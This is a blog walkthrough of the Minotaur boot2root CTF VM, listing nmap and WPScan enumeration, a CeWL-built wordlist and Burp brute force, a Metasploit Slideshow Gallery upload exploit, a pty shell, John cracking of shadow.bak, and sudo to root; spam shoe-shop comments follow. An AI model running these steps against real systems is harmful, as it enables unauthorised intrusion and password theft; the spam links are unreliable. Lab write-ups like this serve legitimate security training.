Hack the Minotaur VM (CTF Challenge)

Minotaur is a Boot2Root CTF challenge which helps us improve our skills especially of password cracking. The VM will assign itself a specific IP address (in the 192.168.56.0/24 range). Do not change this, as the CTF will not work properly without an IP address of 192.168.56. We know to think about it i.e.:
  • One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
  • This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
WalkThrough
We will start off by nmap because we already our target IP.
nmap -p- -A 192.168.56.223
As a result of nmap we can see that the port numbers: 22, 80, 2020 are open. We can use port 22 and 80 to our advantage.
Now we tried to explore through nikto and curl but unfortunately we found nothing of use. So we decided to use dirbuster.
Go to the terminal of kali and type :
dirbuster
It will open the dirbuster. In it, give the url in the Target URL box and select directory-list-2.3-medium.txt file in the File with list of dir box.

It will show you the directory called /bull/

Open the said directory in your browser.

It will show that there is a blog made in WordPress.  As the blog is in wordpress we can apply WPScan to find usernames and vulnerable themes and plung-ins. To apply WPScan type:

wpscan -u http://192.168.56.223/bull/ –enumerate u

The command will start executing and it will show you all the plug-ins that is exploitable along with usernames.

As you can see that there is only one user with the username bully. Also, there is plug-in exploit for Slideshow Gallery. But we will require username and password to make this exploit work. Now we already have username and all we need is its password and we have no idea where to find it as we have no dictionary or password file. Therefore we will make a password file using ceWL.
CeWL is a ruby app which traverses a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password cracking. To make a password file from CeWL go to your terminal of your kali and type:
cewl http://192.168.56.223/bull -m 3 -w /root/Desktop/pass.txt
This will create a .txt with list of all the words that have a possibility to be the password for the username bully.
Now to find which its password is we will use BurpSuite. So, apply dictionary attack using burpsuite and the moment it will find the correct password it will change it value of length as shown below:
Now that we know username and password we can use that exploit for the plug-in. And to do so open metasploit and type:
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhost 19.168.56.223
set rport 80
set targeturi /bull/
set wp_user buly
set wp_password Bighornedbulls
exploit
 As the exploit will run it will give you the session of meterpreter. Furthermore type,
shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Execution of the above commands will take you to the terminal of your target. Then moving forward enter the /var/www/html folder and type :
ls -lsa
We found a flag here, let’s read it.
cat flag.txt
Then we went into /tmp folder and rread the flag there:
cd /tmp
ls -lsa
cat flag.txt
Now we found two flags but they were not the main flags and also we got a hint that shadow.bak file could be useful to us. Let’s have look in it.
cat shadow.bak

We will take help of John password cracker to find the passwords:
john shadow.bak

We found the passwords for both heffer and minotaur. Please recall that port number 22 i.e. for ssh was open and we can use it to log in and for this type:
ssh heffer@192.168.56.223
Give the password when asked and further check its directories:
ls -lsa
We found a flag here. Read it.
cat flag.txt
Now in the flag we found another flag along with a hint indicating that the flag is Minotaur. Now we will log in through SSH using minotaur:
ssh minotaur@192.168.56.223
Give the password when asked. And then check for directories:
ls -lsa
There is another flag available. Again read it.
cat flag.txt

Now, we have finally found the first flag along with another hint that is the final flag is in /root/flag.txt
Moving on, type the following to gain admin access and switch user :
sudo su
cd ..
cd ..
This will take you into the home folder. Here, type :
cd root
ls -lsa
FInally we have fouond the last flag.
cat flag.txt

WOOHOO!!! The flag is captured. Congrats and enjoy!!

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast

Comments

  • Adidas NMD R1 Footlocker Exclusive Black Red White
    Trả lời

    WONDERFUL Post.thanks for share..more wait .. ?

  • adidas ultra boost 3.0
    Trả lời

    Thank you so much for providing individuals with an exceptionally terrific opportunity to read critical reviews from this blog. It really is so superb and also jam-packed with a good time for me and my office fellow workers to search your web site minimum thrice in one week to read through the fresh stuff you have got. Of course, I’m also usually contented considering the striking tips served by you. Certain two points on this page are essentially the finest I’ve had.
    adidas ultra boost 3.0 http://bit.ly/2sfAXQs

  • adidas yeezy boost
    Trả lời

    A lot of thanks for all of your effort on this site. My aunt enjoys carrying out internet research and it’s easy to see why. I know all of the powerful means you render great secrets by means of this web blog and as well as boost contribution from visitors about this matter plus our own daughter is certainly studying a great deal. Take pleasure in the remaining portion of the new year. You’re conducting a glorious job.
    adidas yeezy boost http://urlr.be/short/yzyboost

  • Adidas Originals NMD Runner Primeknit Sneakers Orange Red
    Trả lời

    It is best to take part in a contest for one of the best blogs on the web. I will recommend this site!

  • adidas eqt support adv
    Trả lời

    I wish to point out my appreciation for your kind-heartedness supporting folks that need help on the field. Your personal commitment to getting the message all around appeared to be unbelievably productive and has in most cases empowered regular people like me to arrive at their endeavors. Your amazing invaluable information indicates a lot a person like me and especially to my fellow workers. Thank you; from all of us.
    adidas eqt support adv http://www.adidaseqts.com

  • retro jordans
    Trả lời

    I want to show appreciation to you for bailing me out of this type of circumstance. Right after scouting throughout the the net and obtaining principles which were not powerful, I believed my life was well over. Living devoid of the solutions to the problems you’ve resolved all through the posting is a serious case, as well as the kind which may have adversely affected my entire career if I hadn’t noticed your web page. Your primary knowledge and kindness in dealing with all the stuff was very helpful. I don’t know what I would’ve done if I hadn’t encountered such a step like this. I can also at this time relish my future. Thanks for your time so much for your skilled and effective help. I will not be reluctant to refer the sites to any person who needs and wants guide about this situation.
    retro jordans http://www.jordan-retro.us.com

  • lebron 14
    Trả lời

    Thanks a lot for providing individuals with such a nice opportunity to discover important secrets from this site. It is always very ideal and full of a good time for me personally and my office co-workers to visit your web site at minimum three times per week to see the fresh secrets you will have. And of course, I am just always impressed for the great knowledge you give. Selected two points in this post are particularly the very best we have had.
    lebron 14 http://www.lebron14.us.com

  • nike react
    Trả lời

    There are certainly loads of details like that to take into consideration. That could be a nice point to deliver up. I offer the thoughts above as basic inspiration but clearly there are questions just like the one you carry up where an important thing shall be working in trustworthy good faith. I don?t know if best practices have emerged around things like that, but I am positive that your job is clearly recognized as a fair game. Both girls and boys feel the impression of just a moment抯 pleasure, for the rest of their lives.
    nike react http://www.nikereact.org

  • nmd
    Trả lời

    Thanks so much for providing individuals with an extraordinarily wonderful opportunity to check tips from this web site. It is usually so superb and as well , jam-packed with a good time for me personally and my office friends to visit the blog at least 3 times every week to read through the new stuff you will have. And of course, I’m also actually astounded with the effective tactics you give. Selected two ideas in this posting are rather the most impressive we have all ever had.
    nmd http://qrurl.it/r/1iknj

  • air jordan shoes
    Trả lời

    This actually answered my downside, thank you!
    air jordan shoes http://www.michaeljordanshoes.us.com

  • adidas nmd
    Trả lời

    I discovered your blog web site on google and test a few of your early posts. Proceed to keep up the very good operate. I just further up your RSS feed to my MSN News Reader. Looking for ahead to studying extra from you in a while!?
    adidas nmd http://www.adidasnmds.com

  • michael kors outlet
    Trả lời

    You made some respectable factors there. I regarded on the internet for the issue and found most individuals will go together with along with your website.
    michael kors outlet http://www.michael-korsoutlets.us

  • yeezy
    Trả lời

    I used to be very happy to find this net-site.I needed to thanks on your time for this excellent learn!! I definitely having fun with every little bit of it and I’ve you bookmarked to take a look at new stuff you weblog post.
    yeezy http://www.adidasyeezys.us.com

  • yeezy 500
    Trả lời

    This site is really a walk-through for the entire information you wished about this and didn抰 know who to ask. Glimpse here, and you抣l undoubtedly uncover it.
    yeezy 500 http://www.yeezy-500.us.com

  • ultra boost
    Trả lời

    I simply wished to thank you very much once again. I am not sure the things that I would have undertaken without the actual information discussed by you directly on such problem. Previously it was a alarming condition in my circumstances, however , noticing the very well-written style you processed that forced me to jump with gladness. Now i am happier for this information and as well , believe you realize what a powerful job you’re doing instructing other individuals by way of your webblog. I am certain you haven’t met all of us.
    ultra boost https://vtu.cc/ultra

  • fitflops sale clearance
    Trả lời

    Your place is valueble for me. Thanks!?
    fitflops sale clearance http://www.fitflops-saleclearance.us.com

  • nike shoes
    Trả lời

    you’ve got an amazing blog right here! would you wish to make some invite posts on my blog?
    nike shoes http://www.nikesneakers.us.com

  • Adidas NMD New Black Grey
    Trả lời

    I as well as my friends were reading the great procedures from your web blog and instantly developed a terrible suspicion I had not thanked the web site owner for those secrets. All the ladies appeared to be certainly happy to read them and already have certainly been using those things. We appreciate you truly being very thoughtful and also for making a decision on variety of outstanding useful guides most people are really desperate to discover. Our own sincere apologies for not expressing appreciation to you sooner.
    Adidas NMD New Black Grey http://www.adidas-nmds.us.com/adidas-nmd-new-black-grey-p-532.html

  • yeezy boost 350 v2
    Trả lời

    Would you be concerned about exchanging hyperlinks?
    yeezy boost 350 v2 http://www.yeezy-boost350.us.com

  • michael kors handbags
    Trả lời

    very nice submit, i actually love this website, carry on it
    michael kors handbags http://www.michael-kors-handbags.org.uk

  • kyrie shoes
    Trả lời

    you could have an ideal blog here! would you prefer to make some invite posts on my blog?
    kyrie shoes http://www.kyrieirving-shoes.us.com

  • adidas ultra boost uncaged
    Trả lời

    I in addition to my pals ended up studying the excellent thoughts found on your web blog while unexpectedly I got a terrible suspicion I had not expressed respect to the web site owner for those tips. Most of the young boys ended up certainly thrilled to read through all of them and have in effect simply been having fun with these things. Thank you for turning out to be indeed helpful and for utilizing some notable guides most people are really wanting to be aware of. My very own honest apologies for not expressing gratitude to earlier.
    adidas ultra boost uncaged http://www.adidasultraboost.us.org

  • curry 4
    Trả lời

    There may be noticeably a bundle to find out about this. I assume you made certain nice factors in features also.
    curry 4 http://www.curry4shoes.us.com

  • yeezy boost 350
    Trả lời

    I抎 should verify with you here. Which isn’t one thing I often do! I enjoy studying a put up that may make folks think. Also, thanks for permitting me to remark!
    yeezy boost 350 http://www.yeezyboost-350.uk

  • adidas yeezy boost
    Trả lời

    You made some respectable points there. I regarded on the web for the issue and found most individuals will associate with along with your website.
    adidas yeezy boost http://www.yeezyboost.com.co

  • kd shoes
    Trả lời

    Youre so cool! I dont suppose Ive read something like this before. So nice to find someone with some authentic ideas on this subject. realy thanks for starting this up. this website is something that’s needed on the internet, somebody with a bit originality. helpful job for bringing something new to the web!
    kd shoes http://www.kevindurant-shoes.us.com

  • adidas yeezy boost
    Trả lời

    I wanted to send you this bit of remark to be able to give thanks once again on the splendid opinions you have shared on this page. It was really unbelievably generous of you to offer publicly just what many of us might have supplied for an ebook to help make some money on their own, particularly considering that you might well have tried it in case you wanted. The tactics also acted to be a great way to fully grasp someone else have a similar interest the same as my own to know more pertaining to this condition. I’m certain there are lots of more fun times ahead for many who view your website.
    adidas yeezy boost http://lovebyt.es/yzyboost

  • nike mercurial vapor
    Trả lời

    There are actually lots of particulars like that to take into consideration. That could be a great level to carry up. I supply the ideas above as general inspiration but clearly there are questions like the one you bring up the place a very powerful factor shall be working in honest good faith. I don?t know if finest practices have emerged around issues like that, however I am positive that your job is clearly recognized as a fair game. Both girls and boys really feel the impact of just a second抯 pleasure, for the rest of their lives.
    nike mercurial vapor http://www.nikemercurial.us.com

  • prada sunglasses
    Trả lời

    The subsequent time I learn a weblog, I hope that it doesnt disappoint me as much as this one. I mean, I do know it was my choice to learn, however I truly thought youd have one thing interesting to say. All I hear is a bunch of whining about something that you could possibly fix should you werent too busy in search of attention.
    prada sunglasses http://www.pradasunglasses.us.org

  • yeezy boost 350
    Trả lời

    An impressive share, I just given this onto a colleague who was doing somewhat evaluation on this. And he actually bought me breakfast as a result of I discovered it for him.. smile. So let me reword that: Thnx for the treat! However yeah Thnkx for spending the time to discuss this, I really feel strongly about it and love reading more on this topic. If doable, as you develop into experience, would you mind updating your weblog with extra particulars? It is extremely helpful for me. Big thumb up for this weblog put up!
    yeezy boost 350 http://www.yeezy-boost.us.com

  • golden goose
    Trả lời

    Would you be concerned about exchanging hyperlinks?
    golden goose http://www.goldengoose.us.com

  • moncler
    Trả lời

    That is the correct weblog for anyone who needs to search out out about this topic. You notice a lot its almost hard to argue with you (not that I actually would want匟aHa). You undoubtedly put a new spin on a topic thats been written about for years. Great stuff, simply great!
    moncler http://www.monclerjacket.net

  • nike huarache
    Trả lời

    Can I simply say what a reduction to seek out someone who truly is aware of what theyre talking about on the internet. You undoubtedly know how you can bring a difficulty to mild and make it important. Extra individuals must read this and understand this side of the story. I cant imagine youre not more standard because you positively have the gift.
    nike huarache http://www.nike-airhuarache.us.com

  • adidas tubular
    Trả lời

    I抦 impressed, I need to say. Really hardly ever do I encounter a blog that抯 each educative and entertaining, and let me let you know, you have hit the nail on the head. Your concept is outstanding; the issue is something that not enough people are talking intelligently about. I’m very completely satisfied that I stumbled throughout this in my search for something regarding this.
    adidas tubular http://www.adidas-tubular.us.com

  • chrome hearts
    Trả lời

    This really answered my drawback, thank you!
    chrome hearts http://www.chromehearts.name

  • jordan shoes
    Trả lời

    Your house is valueble for me. Thanks!?
    jordan shoes http://www.shoesjordan.us.com